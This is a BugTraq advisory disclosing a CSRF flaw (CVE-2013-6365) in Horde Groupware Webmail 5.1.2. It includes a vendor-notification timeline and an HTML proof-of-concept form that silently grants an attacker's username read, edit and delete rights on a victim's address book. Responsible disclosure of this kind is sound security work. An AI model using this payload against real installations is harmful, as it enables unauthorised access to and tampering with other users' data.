BugTraq
CSRF Horde Groupware Web mail Edition Nov 03 2013 09:19PM
m benetrix e-secure com au
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Exploit Title : CSRF Horde Groupware Web mail Edition
Author:Marcela Benetrix
Date: 10/28/13
version: 5.1.2
software link:http://www.horde.org/apps/webmail

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GroupWare Web mail Edition

Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project

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CSRF Location

Change of permissions functionality was found to miss unique token in the form.

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PoC
<html>

<body>
<form action="www.victim.com/horde/services/shares/edit.php"
method="POST">
<input type="hidden" name="actionID" value="editform" />
<input type="hidden" name="cid" value="37" />
<input type="hidden" name="app" value="turba" />
<input type="hidden" name="owner_input" value="kenedyK" />
<input type="hidden"
name="u_names[||new_input]"
value="AttackerUserName" />
<input type="hidden"
name="u_read[||new_input]" value="on" />
<input type="hidden"
name="u_edit[||new_input]" value="on" />
<input type="hidden"
name="u_delete[||new_input]" value="on" />
<input type="hidden" name="g_names[||new]"
value="" />
<input type="hidden" name="save_and_finish"
value="Save and Finish" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Preconditions: The attacker must know the owner value which is the victim's username, and the ID of the address book. Once he gets them, he can launch the attack.

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CVE identifier

CVE-2013-6365.
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Vendor Notification
10/28/2013 to: the developers. They replied immediately and fixed the problem http://bugs.horde.org/ticket/12804
11/04/2013: Disclosure

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